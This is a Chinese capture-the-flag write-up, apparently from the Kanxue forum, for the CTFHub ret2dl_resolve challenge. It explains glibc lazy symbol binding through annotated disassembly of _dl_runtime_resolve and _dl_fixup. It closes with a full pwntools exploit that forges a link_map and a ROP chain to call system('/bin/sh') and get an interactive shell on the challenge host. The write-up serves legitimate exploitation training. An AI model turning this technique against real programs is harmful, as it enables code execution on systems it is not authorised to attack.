[原创][writeup]CTFHUB-ret2dl_resolve
2023-3-13 19:49:28 Author: bbs.pediy.com(查看原文) 阅读量:15 收藏

由于程序中提供的函数符号有限,所以无法正常泄露出libc基址,需要ret2dl-resolve泄露libc函数地址,并使用其和system函数的偏移计算得到system函数

当程序每次call _read时,都将跳转至0x4003F0执行jmp语句,在首次调用时,cs:off_601018指向[email protected]的下一条指令,即0x4003F6以进行绑定操作,在第一次调用后,cs:off_601018将指向read的真正地址

push cs:linkMap后跳转至_dl_runtime_resolve函数,加上[email protected]push 0,此处即调用_dl_runtime_resolve(linkMap,0)

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

;↓↓↓↓↓↓↓↓↓↓保存调用参数环境↓↓↓↓↓↓↓↓↓↓

0x00007ffff7c17750 <+0>:    push   rbx

0x00007ffff7c17751 <+1>:    mov    rbx,rsp

0x00007ffff7c17754 <+4>:    and    rsp,0xffffffffffffffc0

0x00007ffff7c17758 <+8>:    sub    rsp,QWORD PTR [rip+0x2100a9]       

0x00007ffff7c1775f <+15>:    mov    QWORD PTR [rsp],rax

0x00007ffff7c17763 <+19>:    mov    QWORD PTR [rsp+0x8],rcx

0x00007ffff7c17768 <+24>:    mov    QWORD PTR [rsp+0x10],rdx

0x00007ffff7c1776d <+29>:    mov    QWORD PTR [rsp+0x18],rsi

0x00007ffff7c17772 <+34>:    mov    QWORD PTR [rsp+0x20],rdi

0x00007ffff7c17777 <+39>:    mov    QWORD PTR [rsp+0x28],r8

0x00007ffff7c1777c <+44>:    mov    QWORD PTR [rsp+0x30],r9

0x00007ffff7c17781 <+49>:    mov    eax,0xee

0x00007ffff7c17786 <+54>:    xor    edx,edx

0x00007ffff7c17788 <+56>:    mov    QWORD PTR [rsp+0x250],rdx

0x00007ffff7c17790 <+64>:    mov    QWORD PTR [rsp+0x258],rdx

0x00007ffff7c17798 <+72>:    mov    QWORD PTR [rsp+0x260],rdx

0x00007ffff7c177a0 <+80>:    mov    QWORD PTR [rsp+0x268],rdx

0x00007ffff7c177a8 <+88>:    mov    QWORD PTR [rsp+0x270],rdx

0x00007ffff7c177b0 <+96>:    mov    QWORD PTR [rsp+0x278],rdx

0x00007ffff7c177b8 <+104>:    xsavec [rsp+0x40]

0x00007ffff7c177bd <+109>:    mov    rsi,QWORD PTR [rbx+0x10]

0x00007ffff7c177c1 <+113>:    mov    rdi,QWORD PTR [rbx+0x8]

;↑↑↑↑↑↑↑↑↑↑保存调用参数环境↑↑↑↑↑↑↑↑↑↑

0x00007ffff7c177c5 <+117>:    call   0x7ffff7c0fdf0 <_dl_fixup>;真正的绑定查询函数

0x00007ffff7c177ca <+122>:    mov    r11,rax ;将结果保存至R11

;↓↓↓↓↓↓↓↓↓↓还原调用参数环境↓↓↓↓↓↓↓↓↓↓

0x00007ffff7c177cd <+125>:    mov    eax,0xee

0x00007ffff7c177d2 <+130>:    xor    edx,edx

0x00007ffff7c177d4 <+132>:    xrstor [rsp+0x40]

0x00007ffff7c177d9 <+137>:    mov    r9,QWORD PTR [rsp+0x30]

0x00007ffff7c177de <+142>:    mov    r8,QWORD PTR [rsp+0x28]

0x00007ffff7c177e3 <+147>:    mov    rdi,QWORD PTR [rsp+0x20]

0x00007ffff7c177e8 <+152>:    mov    rsi,QWORD PTR [rsp+0x18]

0x00007ffff7c177ed <+157>:    mov    rdx,QWORD PTR [rsp+0x10]

0x00007ffff7c177f2 <+162>:    mov    rcx,QWORD PTR [rsp+0x8]

0x00007ffff7c177f7 <+167>:    mov    rax,QWORD PTR [rsp]

0x00007ffff7c177fb <+171>:    mov    rsp,rbx

0x00007ffff7c177fe <+174>:    mov    rbx,QWORD PTR [rsp]

0x00007ffff7c17802 <+178>:    add    rsp,0x18

;↑↑↑↑↑↑↑↑↑↑还原调用参数环境↑↑↑↑↑↑↑↑↑↑

0x00007ffff7c17806 <+182>:    bnd jmp r11 ;跳转至原目标函数

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)

{

    //符号表symtab = linkMap->l_info[6]

    const ElfW(Sym) *const symtab = (const void *)D_PTR(l, l_info[DT_SYMTAB]);

    //字符串表strtab = linkMap->l_info[5]

    const char *strtab = (const void *)D_PTR(l, l_info[DT_STRTAB]);

    //重定位表reloc = linkMap->l_info[23] + reloc_arg

    const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);

    //定位符号sym = symtab[reloc->r_info] 此处使用reloc->r_info的高32位作为索引

    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM)(reloc->r_info)];

    const ElfW(Sym) *refsym = sym;

    //重定位地址(rel_addr) = LinkMap->l_addr + reloc->r_offset

    void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);

    lookup_t result;

    DL_FIXUP_VALUE_TYPE value;

    /* 判断重定位类型是否为7--ELF_MACHINE_JMP_SLOT */

    assert(ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

    /*此处判断sym->st_other的最后两位是否为0*/

    if (__builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0) == 0)

    {

        const struct r_found_version *version = NULL;

        if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL)

        {

            const ElfW(Half) *vernum =

                (const void *)D_PTR(l, l_info[VERSYMIDX(DT_VERSYM)]);

            ElfW(Half) ndx = vernum[ELFW(R_SYM)(reloc->r_info)] & 0x7fff;

            version = &l->l_versions[ndx];

            if (version->hash == 0)

                version = NULL;

        }

        int flags = DL_LOOKUP_ADD_DEPENDENCY; //156

        if (!RTLD_SINGLE_THREAD_P)//171

        {

            THREAD_GSCOPE_SET_FLAG();

            flags |= DL_LOOKUP_GSCOPE_LOCK;

        }

        RTLD_ENABLE_FOREIGN_CALL;

        result = _dl_lookup_symbol_x(strtab + sym->st_name, l, &sym, l->l_scope,

                                     version, ELF_RTYPE_CLASS_PLT, flags, NULL);

        /* We are done with the global scope.  */

        if (!RTLD_SINGLE_THREAD_P)//+226

            THREAD_GSCOPE_RESET_FLAG();

        RTLD_FINALIZE_FOREIGN_CALL;

        /* Currently result contains the base load address (or link map)

       of the object that defines sym.  Now add in the symbol

       offset.  */

        value = DL_FIXUP_MAKE_VALUE(result,sym ? (LOOKUP_VALUE_ADDRESS(result) + sym->st_value) : 0);

    }

    else

    {

        //绑定查询结果等于 linkMap->l_addr + sym->st_value

        value = DL_FIXUP_MAKE_VALUE(l, l->l_addr + sym->st_value);

        result = l;

    }

    value = elf_machine_plt_value(l, reloc, value);

    if (sym != NULL && __builtin_expect(ELFW(ST_TYPE)(sym->st_info) == STT_GNU_IFUNC, 0))

        value = elf_ifunc_invoke(DL_FIXUP_VALUE_ADDR(value));

    /* Finally, fix up the plt itself.  */

    if (__glibc_unlikely(GLRO(dl_bind_not)))

        return value;

    return elf_machine_fixup_plt(l, result, refsym, sym, reloc, rel_addr, value);

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

<+0>:    push   rbx

<+1>:    mov    r10,rdi                          ;r10 = rdi = LinkMap

<+4>:    mov    esi,esi

<+6>:    lea    rdx,[rsi+rsi*2]                    ;rdx = rsi = 0

<+10>:    sub    rsp,0x10

;const char *strtab = (const void *)D_PTR(l, l_info[DT_STRTAB]);

<+14>:    mov    rax,QWORD PTR [rdi+0x68]        ;rax = DT_STRTAB

<+18>:    mov    rdi,QWORD PTR [rax+0x8]        ;rdi = ELF String Table

;const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);

<+22>:    mov    rax,QWORD PTR [r10+0xf8]        ;rax = DT_JMPREL

<+29>:    mov    rax,QWORD PTR [rax+0x8]        ;rax = Elf64_Rela

;const ElfW(Sym) *const symtab = (const void *)D_PTR(l, l_info[DT_SYMTAB]);

<+33>:    lea    r8,[rax+rdx*8]                ;r8 = rax = Elf64_Rela

<+37>:    mov    rax,QWORD PTR [r10+0x70]        ;rax = DT_SYMTAB

;const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);

<+41>:    mov    rcx,QWORD PTR [r8+0x8]        ;rcx = Elf64_Rela->r_info

<+45>:    mov    rbx,QWORD PTR [r8]            ;rbx = Elf64_Rela->r_offset

const ElfW(Sym) *sym = &symtab[ELFW(R_SYM)(reloc->r_info)];

<+48>:    mov    rax,QWORD PTR [rax+0x8]        ;rax = Elf64_Sym

<+52>:    mov    rdx,rcx                        ;rdx = rcx = Elf64_Rela->r_info

<+55>:    shr    rdx,0x20                        ;rdx = rdx >> 0x20 = Elf64_Rela->r_info>>0x20

<+59>:    lea    rsi,[rdx+rdx*2]

<+63>:    lea    rsi,[rax+rsi*8]                ;rsi = Elf64_Sym[Elf64_Rela->r_info >> 32]

;const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);

<+67>:    mov    rax,QWORD PTR [r10]            ;rax = linkMap->l_addr

<+70>:    mov    QWORD PTR [rsp+0x8],rsi        ;var_sym = rsi

<+75>:    add    rbx,rax

;assert(ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

<+78>:    cmp    ecx,0x7

<+81>:    jne    0x7fa516a0ff64 <_dl_fixup+372>

;if (__builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0) == 0)

<+87>:    test   BYTE PTR [rsi+0x5],0x3

<+91>:    jne    0x7fa516a0fee8 <_dl_fixup+248>

<+97>:    mov    rax,QWORD PTR [r10+0x1c8]

<+104>:    xor    r8d,r8d

<+107>:    test   rax,rax

<+110>:    je     0x7fa516a0fe8c <_dl_fixup+156>

<+112>:    mov    rax,QWORD PTR [rax+0x8]

<+116>:    movzx  eax,WORD PTR [rax+rdx*2]

<+120>:    and    eax,0x7fff

<+125>:    lea    rdx,[rax+rax*2]

<+129>:    mov    rax,QWORD PTR [r10+0x2e0]

<+136>:    lea    r8,[rax+rdx*8]

<+140>:    mov    eax,0x0

<+145>:    mov    r9d,DWORD PTR [r8+0x8]

<+149>:    test   r9d,r9d

<+152>:    cmove  r8,rax

<+156>:    mov    edx,DWORD PTR fs:0x18

<+164>:    test   edx,edx

<+166>:    mov    eax,0x1

<+171>:    jne    0x7fa516a0ff48 <_dl_fixup+344>

<+177>:    mov    esi,DWORD PTR [rsi]

<+179>:    mov    rcx,QWORD PTR [r10+0x380]

<+186>:    lea    rdx,[rsp+0x8]

<+191>:    push   0x0

<+193>:    push   rax

<+194>:    mov    r9d,0x1

<+200>:    add    rdi,rsi

<+203>:    mov    rsi,r10

<+206>:    call   0x7fa516a0b0b0 <_dl_lookup_symbol_x>

<+211>:    mov    r8,rax

<+214>:    mov    eax,DWORD PTR fs:0x18

<+222>:    test   eax,eax

<+224>:    pop    rcx

<+225>:    pop    rsi

<+226>:    jne    0x7fa516a0ff10 <_dl_fixup+288>

<+228>:    mov    rsi,QWORD PTR [rsp+0x8]

<+233>:    xor    eax,eax

;if (sym != NULL && __builtin_expect(ELFW(ST_TYPE)(sym->st_info) == STT_GNU_IFUNC, 0))

<+235>:    test   rsi,rsi

<+238>:    je     0x7fa516a0fef8 <_dl_fixup+264>;sym == NULL

<+240>:    test   r8,r8

<+243>:    je     0x7fa516a0fee8 <_dl_fixup+248>

<+245>:    mov    rax,QWORD PTR [r8]

;value = DL_FIXUP_MAKE_VALUE(l, l->l_addr + sym->st_value);

<+248>:    movzx  edx,BYTE PTR [rsi+0x4]            ;edx = [rsi+0x4] = sym->st_info

<+252>:    add    rax,QWORD PTR [rsi+0x8]            ;rax = rax + [rsi+0x8] = linkMap->l_addr + sym->st_value 此命令执行完后rax = 真正函数地址

;if (sym != NULL && __builtin_expect(ELFW(ST_TYPE)(sym->st_info) == STT_GNU_IFUNC, 0))

<+256>:    and    edx,0xf                           

<+259>:    cmp    dl,0xa                            ;if sym->st_info == STT_GNU_IFUNC                       

<+262>:    je     0x7fa516a0ff60 <_dl_fixup+368>   

;if (__glibc_unlikely(GLRO(dl_bind_not)))

<+264>:    mov    edx,DWORD PTR [rip+0x2178aa]        ;edx = dl_bind_not

<+270>:    test   edx,edx

<+272>:    jne    0x7fa516a0ff05 <_dl_fixup+277>    ;if (__glibc_unlikely(GLRO(dl_bind_not)))

;return value;

<+274>:    mov    QWORD PTR [rbx],rax                ;reloc = 绑定查询结果

<+277>:    add    rsp,0x10

<+281>:    pop    rbx

<+282>:    ret

<+283>:    nop    DWORD PTR [rax+rax*1+0x0]

<+288>:    xor    eax,eax

<+290>:    xchg   DWORD PTR fs:0x1c,eax

<+298>:    cmp    eax,0x2

<+301>:    jne    0x7fa516a0fed4 <_dl_fixup+228>

<+303>:    mov    rdi,QWORD PTR fs:0x10

<+312>:    xor    r10d,r10d

<+315>:    add    rdi,0x1c

<+319>:    mov    edx,0x1

<+324>:    mov    esi,0x81

<+329>:    mov    eax,0xca

<+334>:    syscall

<+336>:    jmp    0x7fa516a0fed4 <_dl_fixup+228>

<+338>:    nop    WORD PTR [rax+rax*1+0x0]

<+344>:    mov    DWORD PTR fs:0x1c,0x1

<+356>:    mov    eax,0x5

<+361>:    jmp    0x7fa516a0fea1 <_dl_fixup+177>

<+366>:    xchg   ax,ax

;value = elf_ifunc_invoke(DL_FIXUP_VALUE_ADDR(value));

<+368>:    call   rax

<+370>:    jmp    0x7fa516a0fef8 <_dl_fixup+264>    ;if (__glibc_unlikely(GLRO(dl_bind_not)))

<+372>:    lea    rcx,[rip+0x132fd]       

<+379>:    lea    rsi,[rip+0x1115a]       

<+386>:    lea    rdi,[rip+0x132b7]       

<+393>:    mov    edx,0x50

<+398>:    call   0x7fa516a1b790 <__GI___assert_fail>;重定位类型不等于7

由于不采用_dl_lookup_symbol_x查询函数,所以无需伪造ELF_Sym结构体,直接将其指向[email protected]即可,这样即可得到sym->st_valueread的真实地址,而最终地址为 l_addr - sym->st_value ,所以只需计算并传入这个偏移 l_addr 即可获得最终函数的地址

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

from pwn import *

prog = "./pwn"

context(os='linux', arch='amd64', log_level='debug')

elf = ELF(prog)

libc = ELF("./libc-2.27.so")

p = remote("challenge-f236dc39487bb0bb.sandbox.ctfhub.com",37969)

fakeLinkMap = 0x601030 + 0x110 

rbp = fakeLinkMap-8

pop_rdi_ret = 0x400583

pop_rsi_r15_ret = 0x400581

main = 0x4004E7

ret = 0x4003de

l_addr = abs(libc.sym['system'] - libc.sym['read'])

off = 0xFFFFFFFFFFF3F410

linkMap = p64(off)

linkMap += p64(0x17)

linkMap += p64(fakeLinkMap + 0x18)

linkMap += p64(fakeLinkMap + 0x30 + l_addr)

linkMap += p64(7)

linkMap += p64(0)

linkMap += p64(0x6)

linkMap += p64(elf.got['read']-0x8)

linkMap += b'/bin/sh\x00'

linkMap = linkMap.ljust(0x60,b'A')

linkMap += p64(fakeLinkMap + 0x100)

linkMap += p64(fakeLinkMap + 0x58)

linkMap += p64(fakeLinkMap + 0x30)

linkMap = linkMap.ljust(0xf8,b'A')

linkMap += p64(fakeLinkMap + 0x8)

payload = b'a'*0x100

payload += p64(rbp)

payload += p64(pop_rdi_ret)

payload += p64(0)

payload += p64(pop_rsi_r15_ret)

payload += p64(fakeLinkMap)

payload += p64(0)

payload += p64(elf.plt['read'])

payload += p64(pop_rdi_ret)

payload += p64(fakeLinkMap + 0x40)

payload += p64(ret)

payload += p64(0x4003E6)

payload += p64(fakeLinkMap)

payload += p64(0)

payload += p64(main)

pause()

p.send(payload)

pause()

p.send(linkMap)

p.interactive()


文章来源: https://bbs.pediy.com/thread-276450.htm
如有侵权请联系:admin#unsafe.sh